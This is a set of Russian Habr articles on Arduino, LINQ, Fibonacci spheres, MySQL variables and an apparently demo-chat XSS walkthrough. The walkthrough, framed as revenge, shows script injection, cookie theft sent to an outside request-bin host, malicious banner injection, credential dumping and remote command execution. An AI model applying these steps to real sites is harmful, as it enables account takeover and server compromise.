}
}
}
}
```
Если мы запустим приложение, то можем увидеть прогресс бар, а затем и данные с Reddit по запросу androiddev. Если отключим сеть и долистаем до конца нашего списка, то будет сообщение об ошибке и предложение попытаться загрузить данные снова.
Все работает, супер!
И мой [репозиторий](https://github.com/MrSwimmer/PagingWithRepository/tree/master), где я постарался немного упростить пример от Google.
На этом все. Если вы знаете другие способы как “закэшировать” пагинацию, то обязательно напишите в комменты.
Всем хорошего кода! | https://habr.com/ru/post/431212/ | null | ru | null |
# Arduino на автомойке
Наверное многие уже видели автомойки самообслуживания. Можно ли создать такой аппарат на Arduino?
> … следующая волна экономических бедствий… будет результатом быстрой поступи автоматизации, которая упраздняет многие хорошие рабочие места уровня среднего класса ([Б. Обама](https://ria.ru/world/20170111/1485455662.html))
### Как это работает
1. Клиент приезжает на мойку
2. Вносит деньги через купюроприёмник (на табло отображается сумма)
3. Нажимает кнопку необходимого оборудования
4. Клиент самостоятельно моет машину
5. При желании нажимает стоп, либо выбирает другое оборудование
6. Табло отсчитывает сумму за услуги (в зависимости от включенного оборудования)
7. При обнулении оборудование выключается
8. При необходимости повторить с п.2
При этом сетевые возможности аппарата позволяют:
* Видеть все внесённые платежи
* Менять настройки цен за услуги
* Включать/выключать оборудование
* Вести лог операций и ошибок на сервере
### Состав оборудования
* Arduino Uno R3
* Матричный модуль типа MAX7219 на 4 знака
* Ethernet шилд W5100
* Модуль на 8 реле
* Кнопки
* Резисторы
* Провода
* Купюроприёмник Cashcode SM
* Щит электрический (степень защиты чем больше, тем лучше)
Всё закуплено на Aliexpress (кроме купюроприёмника и щита).
### Схема сборки
Сетевой шилд просто втыкается сверху. Далее всё собирается через него.
> Arduino — Cashcode
>
> A0 — 11 (TxD TTL)
>
> A1 — 16 (RxD TTL)
>
> GND — 4 (GND)
> Arduino — MAX7219
>
> A4 — CLK
>
> A3 — CS
>
> A2 — DIN
>
> GND — GND
>
> +5V — VCC
> Arduino — Реле
>
> 2-7 — in1-in6
>
> GND — GND
>
> +5V — VCC
Кнопки собираются по схеме делителя напряжения и подключены на A5. У меня резисторы от 200Ом до 3,2КОм.
### Программирование
Инициализация табло и реле:
```
#define DIN 16
#define CS 17
#define CLK 18
#define max7219_reg_decodeMode 0x09
#define max7219_reg_intensity 0x0a
#define max7219_reg_scanLimit 0x0b
#define max7219_reg_shutdown 0x0c
#define max7219_reg_displayTest 0x0f
const unsigned char alf[] = {0,
28, 34, 34, 34, 34, 34, 34, 28,
8, 24, 8, 8, 8, 8, 8, 28,
28, 34, 2, 4, 8, 16, 32, 62,
28, 34, 2, 4, 2, 2, 34, 28,
34, 34, 34, 34, 62, 2, 2, 2,
62, 32, 32, 60, 2, 2, 2, 60,
28, 32, 32, 60, 34, 34, 34, 28,
62, 2, 2, 4, 8, 16, 32, 32,
28, 34, 34, 28, 34, 34, 34, 28,
28, 34, 34, 30, 2, 2, 2, 28
};
void setup()
{
pinMode(DIN,OUTPUT); pinMode(CS,OUTPUT); pinMode(CLK,OUTPUT); digitalWrite(CS, HIGH);
initLed();
pinMode(2, OUTPUT); pinMode(3, OUTPUT); pinMode(4, OUTPUT); pinMode(5, OUTPUT); pinMode(6, OUTPUT); pinMode(7, OUTPUT);
pinMode (A5, INPUT);
}
void setCommand(byte command, byte value)
{
digitalWrite(CS, LOW);
for (int i=0; i<4; i++) { shiftOut(DIN,CLK, MSBFIRST, command); shiftOut(DIN,CLK, MSBFIRST, value); }
digitalWrite(CS, HIGH);
}
void initLed()
{
setCommand(max7219_reg_scanLimit, 0x07);
setCommand(max7219_reg_decodeMode, 0x00);
setCommand(max7219_reg_shutdown, 0x01);
setCommand(max7219_reg_displayTest, 0x00);
setCommand(max7219_reg_intensity, 1);
}
```
Отображение числа на табло (текущее значение на случай отключения питания хранится в ячейках EEPROM 10 и 11):
```
int printNumber(int add)
{
int n=EEPROM.read(10)+EEPROM.read(11)*256;
if(add!=0) { n+=add; EEPROM.write(10, n%256); EEPROM.write(11, n>>8); }
int k;
for (char i=1; i<=8; i++)
{
digitalWrite(CS, LOW);
for (char j=3; j>=0; j--) { k=n/pow(10,j); shiftOut(DIN,CLK, MSBFIRST,i); shiftOut(DIN,CLK, MSBFIRST,alf[i+(k%10)*8]); }
digitalWrite(CS, HIGH);
}
return n;
}
```
Считывание кнопки (keydown отслеживает возврат кнопок в исходное для исключения дребезга реле, числа в условиях подбираются опытным путём):
```
int key = analogRead (5);
if(keydown && key<100) keydown=0;
if((EEPROM.read(10)>0 || EEPROM.read(11)>0) && !keydown)
{
if(key>910 && key<980) setRele(1);
if(key>810 && key<880) setRele(2);
if(key>710 && key<760) setRele(3);
if(key>550 && key<690) setRele(4);
if(key>400 && key<500) setRele(5);
if(key>330 && key<400) setRele(0);
}
```
Работа реле (в ячейках EEPROM 1-9 хранятся цены услуг за минуту использования):
```
void setRele(char r)
{
rele=r;
keydown=1;
for(char i=1;i<6;i++) digitalWrite(i+1, HIGH);
if(rele)
{
digitalWrite(rele+1, LOW);
timeRele=millis();
timeAllRele=60000/EEPROM.read(rele);
}
}
```
Счетчик денег (при включенном реле и превышении счетчика милисекунд заданного значения вычитаем 1):
```
if(rele>0 && rele<=5 && (millis()-timeRele)>timeAllRele)
{
if(printNumber(-1)==0) setRele(0);
timeRele+=timeAllRele;
}
```
Сетевые клиент и сервер взяты из стандартных библиотек Arduino. Купюроприёмник работает по протоколу CCNET.
UPD:
[Часть 2](https://habrahabr.ru/post/321172) описание работы по сети и купюроприёмника.
[Аппарат следующего поколения на одноплатнике Orange Pi с экраном 7" и тачскрином](https://cloud.mail.ru/public/6vmw/tPfSvY6aw). | https://habr.com/ru/post/320458/ | null | ru | null |
# Linq To Entities vs. Linq To Objects на примере группировки
LINQ — удобная, красивая, но при этом довольно коварная абстракция. Самые неожиданные вещи обычно происходят на стыке какой-либо реализации LINQ и LINQ To Objects. Сегодня на одном примере я рассмотрю совместную работу LINQ To Entities (Entity Framework) и LINQ To Objects.
За основу возьмем метод репозитория, который принимает на вход список идентификаторов клиентов и возвращает сгруппированный по этим идентификаторам набор заказов (таблица Orders содержит поля OrderId, OrderDate и CustomerId):
```
public IDictionary> GetOrdersByCustomersIds(IList customersIds)
{
using (var ctx = new RepositoryContext())
{
return ctx.Orders.
Where(o => customersIds.Contains(o.Id)).
GroupBy(o => o.CustomerId).
ToDictionary(o => o.Key, o => o.ToList());
}
}
```
Минуточку! А как это работает? Ведь при выполнении GROUP BY запроса мы можем выбрать лишь поля, по которым происходит группировка, а также агрегированные значения. Стандартным решением этой проблемы является JOIN данных таблицы и результатов группировки. Примерно так:
```
SELECT o1.*, MinTotal
FROM Orders as o1
INNER JOIN
(SELECT o2.CustomerId,
Min(o2.Total) as MinTotal
FROM Orders o2
GROUP BY o2.CustomerId) as o3
ON o1.CustomerId = o3.CustomerId
Where o1.CustomerId in (1, 2, 3, 4, 5)
```
Что-то в этом духе и должен сгенерировать EF-провайдер. Давайте убедимся в этом. У меня под рукой был MySQL .NET Connector (официальный ADO.NET-провайдер для MySQL), поэтому я воспользовался им и получил следующий сгенерированный запрос (передав на вход список из идентификаторов от 1 до 5):
```
SELECT `Project2`.`C1`,
`Project2`.`CustomerId`,
`Project2`.`C2`,
`Project2`.`CustomerId1`,
`Project2`.`Id`,
`Project2`.`OrderDate`
FROM
(SELECT `Distinct1`.`CustomerId`,
1 AS `C1`,
`Extent2`.`CustomerId` AS `CustomerId1`,
`Extent2`.`Id`,
`Extent2`.`OrderDate`,
CASE WHEN (`Extent2`.`CustomerId` IS NULL) THEN (NULL) ELSE (1) END AS `C2`
FROM
(SELECT DISTINCT `Extent1`.`CustomerId`
FROM `orders` AS `Extent1`
WHERE ((1 = `Extent1`.`Id`) OR (2 = `Extent1`.`Id`)) OR (((3 = `Extent1`.`Id`) OR (4 = `Extent1`.`Id`)) OR (5 = `Extent1`.`Id`))) AS `Distinct1`
LEFT OUTER JOIN `orders` AS `Extent2`
ON (((1 = `Extent2`.`Id`) OR (2 = `Extent2`.`Id`)) OR (((3 = `Extent2`.`Id`) OR (4 = `Extent2`.`Id`)) OR (5 = `Extent2`.`Id`))) AND (`Distinct1`.`CustomerId` = `Extent2`.`CustomerId`)) AS `Project2`
ORDER BY `CustomerId` ASC, `C2` ASC
```
Немного хуже ручной реализации, но в целом прослеживается озвученная выше мысль.
Стоп! А зачем мы используем группировку на уровне базы данных? Группировка оправдана в случае использования функций агреграции (как в приведенной выше ручной реализации запроса). В нашем же случае группировка — лишь удобное представление полученных данных. Давайте слегка модифицируем метод репозитория и перенесем процесс группировки на уровень LINQ To Objects:
```
public IDictionary> GetOrdersByCustomersIds(IList customersIds)
{
using (var ctx = new RepositoryContext())
{
return ctx.Orders.
Where(o => customersIds.Contains(o.Id)).
AsEnumerable().
GroupBy(o => o.CustomerId).
ToDictionary(o => o.Key, o => o.ToList());
}
}
```
Для полноты картины посмотрим, какой запрос сгенерирует EF-провайдер:
```
SELECT `Extent1`.`CustomerId`,
`Extent1`.`Id`,
`Extent1`.`OrderDate`
FROM `orders` AS `Extent1`
WHERE ((1 = `Extent1`.`Id`) OR (2 = `Extent1`.`Id`)) OR (((3 = `Extent1`.`Id`) OR (4 = `Extent1`.`Id`)) OR (5 = `Extent1`.`Id`))
```
Определенно этот запрос эффективнее предыдущего.
Вот, собственно, и все. Ничего особенного — лишь хотел заострить ваше внимание на коварности перехода от LINQ To X к LINQ To Objects после того, как сам попал в эту ловушку. Будьте бдительны!
P. S. Несмотря на то, что я использовал MySQL .NET Connector, категорически [не рекомендую](http://alexidsa.blogspot.com/2011/05/entity-framework-mysql.html) применять этот провайдер в продакшене: это не провайдер, а коцентрированный сгусток багов, которые не фиксятся годами. | https://habr.com/ru/post/119624/ | null | ru | null |
# Эксплуатация xss уязвимости
Эксплуатация xss уязвимости
Данная статья описывает применению xss уязвимости:
* Кража токена
* Кража окружения
* Изменения контента сайта
* Получения доступа к системе хостинга
Предыстория
-----------
Итак, вы зашли на чат, вас оскорбили, и теперь вы хотите отомстить. Как можно заметить из диалога можно легко отправить html, что является идеальной возможностью для xss, в реальности вы вряд ли заметите такую лазейку.
Запускаем скрипт
----------------
Мы имеем чат с возможностью отправки HTML. Так что давайте проверим возможность xss `console.log('XSS stage 0')` и не сработало.
В чём же дело? Chromium и firefox игнорируют скрипты добавленные через `innerHTML`.
Ок пробуем второй подход
```
```
В консоли вывелось XSS значит код сработал
Теперь на pastebin создадим скрипт с которым мы и будем играться
Контент скрипта:
```
console.log('Script loaded')
```
Для запуска скрипта в атрибуте onload пропишем:
```
s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)
```
И теперь отправляя
```
```
все получатели просмотрят картинку и запустят скрипт
Грабим куки
-----------
С загрузкой скрипта мы разобрались теперь приступим к эксплуатации. Во-первых данные нужно куда-то отправить воспользуемся requestbin
```
// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")
const body = { "name": "Yoda" }
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("[URL]", options)
```
Но просто отправлять один и тоже текст не интересно, давайте отправим куки
```
// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")
const body = { "cookies": document.cookie }
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("https://en9uiweslksnu.x.pipedream.net", options)
```
В куках лежат токены для идентификации пользователя.
В requestbin мы получаем два запроса с двумя токенами:
`-1067197389`
`1679211939`
Так как мой токен `1679211939`
Значит токен админа `-1067197389`
Заменив свой токен на токен админа мы сможем писать от его имени
Изменение контента
------------------
Писать от имени администратора весело, но давайте немного изменим контент сайта. Добавив к нашему злостному скрипту такие строки
```
let d = document.createElement('div')
d.innerHTML = `Download new appliction`
document.body.appendChild(d)
document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')
```
После того как мы от имени админ отправим такую фотку, у всех получателей появится баннер который при нажатии ведёт на наш `/your_very_evil_program`
Кража окружения
---------------
Пришло время получить доступ к админке. И так проверим что находится по адресу `/admin` и там нас встречает `ACCESS DENIED. BURN IN FIRE`, ладно подставляем токен админа в куки. И опять доступ запрещён, значит авторизация проходит каким-то другим способом. Значит запросим админку от машины админа.
Добавим в evil script:
```
const admin = await (await fetch("/admin")).text()
```
И затем при отправке в тело запихнуть значение админ мы получим данные `/admin`
Мы получим код админки
```
Admin
Hello admin
Update users
let fetchUsrs = fetch("/users")
.then(e => e.text())
.then(e => (document.getElementById("users").value = e));
document.getElementById("updUsers").onclick = () => {
fetch("/users", {
body: JSON.stringify({
data: document.getElementById("users").value.toString()
}),
headers: {
Accept: "application/json, text/plain, \*/\*",
"Content-Type": "application/json"
},
method: "POST"
}).then(fetchUsrs);
};
function toCmd(cmd) {
document.location =
"http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd);
}
Check mem
Show procs
```
Что из этого можно извлечь:
1. Есть endpoint `/users` который возвращает и принимает юзеров
2. Есть endpoint `/exec?cmd` который выполняет программу
Оба endpoint не дают нам доступа. Так что попробуем вытащить `/users`
```
{
"admin": "VerySecurePassword",
"chiken": "COW+CHICKEN",
"user001": "agent007",
"justUser": "llkk",
"test":"12"
}
```
Итак теперь у нас есть пароль и логин всех юзеров системы и теперь логинимся под админом, мы получаем доступ к админке, а в куках появляется http-only кук который разрешает к ней доступ
Получение доступа к системе
---------------------------
Как вы помните у нас есть endpoint который запускает команду, так что теперь мы можем делать всё что хотим, но пользоваться этим не очень удобно так что запустим на сервере [gritty](https://github.com/cloudcmd/gritty)
Теперь устанавливаем `/exec?cmd=npm%20i%20gritty%202%3E%261`
И запускаем `/exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022`
И по порту 8022 нам становится доступен терминал gritty
### XSS — крайне опасен | https://habr.com/ru/post/481338/ | null | ru | null |
# Повышаем эффективность распределения точек на сфере
Наложение решётки Фибоначчи (она же золотая спираль или сфера Фибоначчи) на поверхность сферы — чрезвычайно быстрый и эффективный приближенный метод равномерного распределения точек на сфере. Я продемонстрирую, как небольшие изменения, внесённые в каноническую реализацию, могут привести к значительным улучшениям показателей ближайших соседей.
***Рисунок 1.** Небольшая модификация канонической решётки Фибоначчи может привести к улучшению расстояния упаковки (максимального расстояния между ближайшими соседями) на 8,3%.*
0. Решётка Фибоначчи
====================
Задача равномерного распределения точек на сфере имеет очень долгую историю. Она обладает огромной важностью во многих областях математики, физики, химии и вычислений, в том числе в численном анализе, теории аппроксимации, кристаллографии, морфологии вирусов, электростатике, теории кодирования и компьютерной графике.
К сожалению, она так и не была точно решена, за исключением небольшого количества частных случаев. Следовательно, практически во всех ситуациях мы можем только надеяться найти близкие к оптимальному решения этой задачи.
Из всех этих почти оптимальных решений один из самых простых способов основан на решётке Фибоначчи, или на золотой спирали. Очевидно, изобретатель этого способа вдохновлялся [филлотаксисом](https://en.wikipedia.org/wiki/Phyllotaxis) (который описывает распределение семян в цветке подсолнуха или в сосновой шишке).
Более того, в отличие от большинства других итеративных или рандомизированных способов, например, имитации отжига, спираль Фибоначчи является одним из немногих способов непосредственного построения, работающих для произвольного количества точек .
Стандартное современное определение решётки Фибоначчи (см. верхний ряд на рисунке 2), равномерно распределяющей  точек внутри единичного квадрата , имеет вид:
где
а оператор  обозначает дробную часть аргумента.
(Этот способ очень хорошо работает и для прямоугольников.)
Для создания спирали Фибоначчи (золотой спирали) (см. нижний ряд на рисунке 2) нужно просто наложить это распределение точек на единичном диске при помощи равноплощадного преобразования
***Рисунок 2**. Решётка Фибоначчи (верхний ряд) и спираль Фибоначчи (нижний ряд) для различных значений .*
Аналогично, эти множества точек можно наложить с единичного квадрата  на сферу  при помощи цилиндрического равноплощадного проецирования (см. рисунок 2):
Стоит заметить, что существует множество стандартов обозначений углов в сферической геометрии. В приведённой выше формуле используется нотация, в которой ![$\theta \in [0,2\pi]$](https://habrastorage.org/getpro/habr/formulas/602/394/928/60239492892e6a26cec83ef7d37c6860.svg) является долготой, а ![$\phi \in [0,\pi]$](https://habrastorage.org/getpro/habr/formulas/1c5/e1a/761/1c5e1a761a13e3f239338e8df8272fa4.svg) — углом от условного севера.
То есть, решётка Фибоначчи — это простой способ очень равномерного распределения точек в прямоугольнике, на диске или поверхности сферы.
(См. примечание 2 о том, почему решётка Фибоначчи не соединяется на всех краях, и почему это хорошо.)
Вот простейшая реализация этого на Python.
```
from numpy import arange, pi, sin, cos, arccos
n = 50
goldenRatio = (1 + 5**0.5)/2
i = arange(0, n)
theta = 2 *pi * i / goldenRatio
phi = arccos(1 - 2*(i+0.5)/n)
x, y, z = cos(theta) * sin(phi), sin(theta) * sin(phi), cos(phi);
```
***Рисунок 3.** Решётка Фибоначчи (или спираль Фибоначчи), наложенная на поверхность сферы — это очень простой способ создания очень равномерного распределения точек.*
Эта спираль и наложение на сферу страдают от двух разных, но взаимосвязанных проблем.
Первая заключается в том, что наложение сохраняет площадь, но не расстояние. Если вы стремитесь оптимизировать показатель расстояния, например, между ближайшими соседями, то такие ограничения и отношения расстояний необязательно сохранятся при проецировании площадей.
Вторая проблема, решить которую с практической точки зрения будет сложнее всего, заключается в том, что спиральное наложение имеет расположенную в центре точку сингулярности (а наложение на сферу имеет сингулярность на каждом из полюсов). В случае сферы рассмотрим две точки. находящиеся очень близко к полюсу, но отличающиеся по долготе на 180 градусов. В единичном квадрате (а также в цилиндрической проекции) они будут соответствовать двум точкам, находящимся рядом с верхним краем, но всё равно расположенным достаточно далеко друг от друга. Однако при наложении на поверхность сферы их можно будет соединить очень короткой дугой, проходящей через северный полюс. Именно эта проблема делает многие спиральные наложения неоптимальными. Эта проблема не существует для решётки Фибоначчи в .
1. Оптимизация минимального расстояния до ближайшего соседа
===========================================================
Существует [множество одинаково состоятельных критериев](https://www.maths.unsw.edu.au/about/distributing-points-sphere) для описания степени равномерности распределения точек на поверхности сферы. В том числе:
* Упаковка и покрытие
* Выпуклые оболочки, ячейки Вороного и треугольники Делоне
* Ядра -энергии Риса
* Кубатура и определители
Критически важно осознавать, что оптимальное по одному критерию решение часто не является оптимальным распределением точек по другому.
В этом посте мы исследуем только два таких критерия. В основной части рассмотрим самый известный критерий: *минимальное* расстояние между ближайшими соседями; в оставшейся части мы вкратце опишем *среднее* расстояние между ближайшими соседями. (См. примечание 3 об исследовании способов оптимизации решётки Фибоначчи под другие критерии).
Задачу поиска максимально ближнего соседа часто называют *задачей Тэмса* по имени ботаника Тэмса, искавшего объяснение структуры поверхности пыльцевых зёрен. Также её часто называют [задачей Фейеша Тота](https://en.wikipedia.org/wiki/L%C3%A1szl%C3%B3_Fejes_T%C3%B3th). А конфигурацию, соответствующую таким оптимальным ближайшим соседям, часто называют сферическим кодом.
**Платоновы тела**
Здесь важно развеять один миф — веру в то, что все платоновы тела (правильные многогранники) являются оптимальными конфигурациями для соответствующих значений .
К сожалению, это не так. Об этом исчерпывающе написано на сайте [Wolfram mathworld](https://mathworld.wolfram.com/SphericalCode.html):
«В случае двух точек эти точки должны находиться на противоположных концах диаметра. В случае четырёх точек они должны находиться на вершинах вписанного правильного четырёхгранника. Не существует уникального наилучшего решения в случае пяти точек, потому что расстояние невозможно сделать меньше него для шести точек. В случае шести точек они должны быть расположены в вершинах вписанного правильного восьмигранника. В случае семи точек наилучшим решением являются четыре равносторонних сферических треугольника с углами 80 градусов. В случае восьми точек лучшим распределением будут не вершины вписанного куба, а квадратная антипризма с одинаковыми рёбрами многогранника. Решением для девяти точек являются восемь равносторонних сферических треугольников с углами . В случае 12 точек решением будет вписанный правильный икосаэдр».
Повторим этот момент, потому что он неочевиден и малоизвестен:
Два платоновых тела — куб () и додекаэдр () **не являются** оптимальными конфигурациями точек для минимального расстояния между ближайшими соседями. И на самом деле, они [далеки от этого](http://neilsloane.com/packings/index.html#I).
***Рисунок 4.** [Квадратная антипризма](https://en.wikipedia.org/wiki/Square_antiprism#Points_on_a_sphere) («антикуб») является оптимальной конфигурацией упаковки для n=8. (Изображение взято [отсюда](https://www.researchgate.net/figure/The-square-antiprism_fig5_304163845)).*
Так что прежде чем мы начнём изучать способы улучшения канонической решётки Фибоначчи для произвольного , давайте определимся с нотацией.
Пусть для каждой из  точек  будет расстоянием от точки  до её ближайшего соседа . Тогда задача Тэмса требует от нас максимизировать минимум  среди всех  точек. То есть
Это значение уменьшается со скоростью примерно , то есть полезно также будет задать нормализованное расстояние, а ещё асимптотический предел нормализованного расстояния как
**Каноническая решётка**
Стандартная реализация (представленная в приведённом выше коде) разделяет единичный интервал  на  равных подинтервалов, а затем помещает точку в среднюю точку каждого из этих интервалов (так называемое правило средней точки в интегрировании по Гауссу). То есть
Этот способ обеспечивает постоянное значение  для всех .
**Решётка Фибоначчи со смещением**
Ключевым моментом для улучшения уравнения 1 является осознание того, что  всегда соответствует расстоянию между точками  и , которые расположены рядом с полюсами. То есть для улучшения  точки рядом с полюсами должны быть отдалены друг от друга.
Чтобы добиться этого, нам нужно передвинуть (сместить) все точки слегка вдаль от полюсов. Разумеется, это означает, что почти все из них становятся чуть ближе друг к другу. Однако поскольку они не являются критичными для оптимизации , в такой ситуации это допустимо.
В частности, мы можем достичь этого, задав с каждого конца интервала  подинтервал длиной , где нет точек, а затем равномерно распределив  точек в оставшемся интервале , что гарантирует наличие точки с каждого конца интервала.
То есть
Стоит учесть, что  соответствует канонической решётке, а  представляет увеличившийся зазор рядом с полюсами.
Благодаря таким методикам, как Монте-Карло, мы можем эмпирически найти для каждого  оптимальное значение , которое оптимизирует расстояние упаковки. Давайте обозначим это оптимальное значение как .
Плохая новость заключается в том, что для , похоже, не существует простого выражения в конечном виде. Однако хорошая новость заключается в том, что можно найти очень изящные свойства.
Первое свойство — функция  является не непрерывной, а ступенчатой функцией, которая (значительно) увеличивается только при определённых значениях . Более того, соответствующие значения  почти всегда очень близки к круглому числу. Если конкретнее, то эмпирический анализ показывает, что превосходным описанием наилучших значений  является следующая таблица:
Ниже показана базовая реализация такой решётки со смещением.
```
from numpy import arange, pi, sin, cos, arccos
n = 50
if n >= 600000:
epsilon = 214
elif n>= 400000:
epsilon = 75
elif n>= 11000:
epsilon = 27
elif n>= 890:
epsilon = 10
elif n>= 177:
epsilon = 3.33
elif n>= 24:
epsilon = 1.33
else:
epsilon = 0.33
goldenRatio = (1 + 5**0.5)/2
i = arange(0, n)
theta = 2 *pi * i / goldenRatio
phi = arccos(1 - 2*(i+epsilon)/(n-1+2*epsilon))
x, y, z = cos(theta) * sin(phi), sin(theta) * sin(phi), cos(phi);
```
При смещении точек решётки Фибоначчи слегка вдаль от полюсов (в соответствии с уравнением 2) создаётся упаковка , повышение плотности которой составляет до 8,3%, чем у канонической решётки Фибоначчи.
(См. примечание 4 о дополнительных способах изменения канонической решётки, ещё больше увеличивающих .)
**Сравнение**
Мы можем сравнить этот результат с некоторыми из современных методов, которые обычно являются сложными и требуют рекурсивного и/или динамического программирования (чем выше значение, тем лучше):
2. Дополнительный вывод: предотвращаем появление больших зазоров
================================================================
Для большого значения , (а конкретно ) при оптимизации расстояния упаковки оптимальное значение  довольно велико, что приводит к значительному пробелу или пустоте с каждого полюса.
Простой способ для устранения этого пробела заключается в размещении точки на каждом полюсе с последующим размещением оставшихся  в соответствии с уравнением 2 и уточнённым смещением , представленным в таблице ниже.
Это не только минимизирует пробел на каждом из полюсов, но и обеспечивает небольшое улучшение решётки со смещением, заданной уравнением 2. Величина улучшения очень мала, всего до 1%, и обычно составляет менее 0,1%.
Следовательно, с точки зрения расстояния упаковки она, вероятно, представляет лишь теоретический, а не практический интерес. Однако, в большинстве случаев скорее всего стоит обеспечить её широкую применимость к готовой конфигурации.
3. Оптимизация расстояния ближайших соседей
===========================================
Хотя максимизация минимума ближайших соседей является наиболее изученным и чрезвычайно полезным методом с точки зрения теории, она может и не быть наиболее полезным критерием во многих инженерных и вычислительных областях применения.
К сожалению, оптимизация минимального расстояния ближайших соседей обеспечивает неоптимальные конфигурации для **среднего** расстояния ближайших соседей. Это неудивительно, ведь смещение сдвигает от полюсов все точки, за исключением небольшого количества, а значит, делает их ближе.
Оказывается, что для всех , по сути, есть одно значение , обеспечивающее наилучшую конфигурацию. А именно .
Обратите внимание — поскольку это значение меньше 0.5, точки на самом деле стягиваются *ближе* к полюсам по сравнению с канонической реализацией!
Хотя при смещении точек с  создаются неоптимальные конфигурации для расстояний упаковки, в этом случае создаются оптимальные конфигурации по критерию **среднего** расстояния ближайших соседей. Благодаря этому оно идеально для большинства инженерных и вычислительных областей применения.
5. Итог
=======
Наложение решётки Фибоначчи(золотой спирали, или сферы Фибоначчи) на поверхность сферы — чрезвычайно быстрый и эффективный приближенный способ равномерного распределения точек на сфере.
Однако смещение точек решётки Фибоначчи немного вдаль от полюсов (в соответствии с уравнением 2) приводит к созданию конфигурации точек, упаковка которой повышается максимум на 8,3% по сравнению с канонической решёткой Фибоначчи (по критерию расстояния упаковки).
При  увеличение может стать ещё больше — сначала нужно разместить по точке на каждом из полюсов, а затем расположить оставшиеся  точек в соответствии с уравнением 2 и смещением по таблице из раздела 4. Это не только (очень незначительно) улучшает упаковку ближайших соседей, но и предотвращает появление большого зазора на каждом из полюсов.
Примечания
----------
1. Строго говоря, сфера состоит только из всех точек, равноудалённых от центра. Именно множество всех таких точек образует поверхность. Следовательно, фраза «поверхность сферы» является тавтологией. Однако в этом посте я часто использую эту фразу, чтобы не запутывать читателей.
2. Оператор  решётки Фибоначчи (см. верхний ряд рисунка 1) обозначает, что мы на самом деле накладываем единичный квадрат на цилиндр. Часто считается, что новое пространство является тором, но при внимательном наблюдении заметно, что точки рядом с верхним и нижним краями выровнены неточно. В нашем случае, когда выполняется наложение решётки на диск или на поверхность сферы, это на самом деле идёт нам на пользу, потому что уменьшает ограничения, а значит, обеспечивает бОльшую степень свободы при поиске хороших разделений точек.
Именно по этой причине наложение решётки Фибоначчи на поверхность сферы практически всегда обеспечивает лучшие результаты, чем наложение на поверхность сферы обычного двухмерного ряда с низким расхождением (в котором все края соединяются).
3. В этом посте исследуются критерии, касающиеся ближайших соседей. Об оптимизации таких конфигураций, при которых максимизируется объём выпуклой оболочки можно прочитать в моём предыдущем посте [«Равномерное распределение точек на сфере»](http://extremelearning.com.au/evenly-distributing-points-on-a-sphere/) [[перевод](https://habr.com/ru/post/460643/) на Хабре].
4. Перемещение точек всё дальше от точек даёт нам понять, что существует определённый предел, при котором конструктивно располагать точки на каждом из полюсов. Подробности этого изложены в моём предыдущем посте об этой теме, ссылку на который я указал в примечании 3. Однако при этих новых найденных оптимальных значениях  эта дополнительная сложность повышает  всего максимум на 0,2%, поэтому в большинстве областей применения реализовывать её скорее всего не стоит.
Важные ссылки
-------------
* [Saff: A Comparison of poopular point confugrations on $S^2$](https://arxiv.org/pdf/1607.04590.pdf)
* [Evenly\_distributed\_points\_on\_sphere](http://www.cgafaq.info/wiki/Evenly_distributed_points_on_sphere)
* [Saff-Kuijlaars; MathIntel97](https://perswww.kuleuven.be/~u0017946/publications/Papers97/art97a-Saff-Kuijlaars-MI/Saff-Kuijlaars-MathIntel97.pdf)
* [Project Euclid; euclid.em/1067634731](https://projecteuclid.org/download/pdf_1/euclid.em/1067634731)
* [Vanderhaeghe; Spherical Fibonacci Mapping](https://www.irit.fr/~David.Vanderhaeghe/M2IGAI-CO/2016-g1/docs/spherical_fibonacci_mapping.pdf)
* [Leopardi; Sphere talk](https://maths-people.anu.edu.au/~leopardi/Macquarie-sphere-talk.pdf)
* [Leopardi; Sphere-PhD-Thesis](https://maths-people.anu.edu.au/~leopardi/Leopardi-Sphere-PhD-Thesis.pdf)
* [mathworld.(wolfram); SphericalCode](https://mathworld.wolfram.com/SphericalCode.html)
* [Neil Sloane: Spherical Packings](http://neilsloane.com/packings/index.html#I)
> См. также:
>
>
>
> * «[Простой способ построения изотропных псевдослучайных рядов точек синего шума](https://habr.com/ru/post/432018/)»
> * «[Неожиданная эффективность квазислучайных последовательностей](https://habr.com/ru/post/440892/)»
> * «[Генерирование псевдослучайных чисел с помощью клеточного автомата: Правило 30](https://habr.com/ru/company/ruvds/blog/489822/)»
> | https://habr.com/ru/post/506526/ | null | ru | null |
# MySQL — Использование переменных в запросе
Довольно часто спрашивают, есть ли аналоги аналитических (оконных) функций в MySQL. **Примечание.** *На момент написания статьи таких аналогов не было, однако статья и ныне представляет собой академический интерес в плане разбора оригинального для MySQL подхода к использованию переменных.*
Для замены аналитических функций часто используют запросы с самосоединением, сложные подзапросы и прочее. Большинство таких решений оказываются неэффективными с точки зрения производительности.
Также в MySQL нет рекурсии. Однако с некоторой частью задач, которые обычно решаются аналитическими функциями или рекурсией, можно справиться и средствами MySQL.
Одним из этих средств является уникальный, нехарактерный для прочих СУБД механизм работы с переменными внутри запроса SQL. Мы можем объявить переменную внутри запроса, менять ей значение и подставлять в SELECT для вывода. Причем порядок обработки строк в запросе и, как следствие, порядок присвоения значений переменным можно задать в пользовательской сортировке!
Предупреждение. В статье подразумевается, что обработка выражений в предложении SELECT осуществляется слева направо, однако официального подтверждения такого порядка обработки в документации MySQL нет. Это необходимо иметь в виду при смене версии сервера. Для гарантии последовательности вычисления можно использовать фиктивный оператор CASE или IF.
Аналог рекурсии
---------------
Рассмотрим простой пример, который генерирует последовательность Фибоначчи (в последовательности Фибоначчи каждый член равен сумме двух предыдущих, а первые 2 равны единице):
```
SELECT IF(X=1, Fn_1, Fn_2) F
FROM(
SELECT @I := @I + @J Fn_1, @J := @I + @J Fn_2
FROM
(SELECT 0 dummy UNION ALL SELECT 0 UNION ALL SELECT 0)a,
(SELECT 0 dummy UNION ALL SELECT 0 UNION ALL SELECT 0)b,
(SELECT @I := 1, @J := 1)IJ
)T,
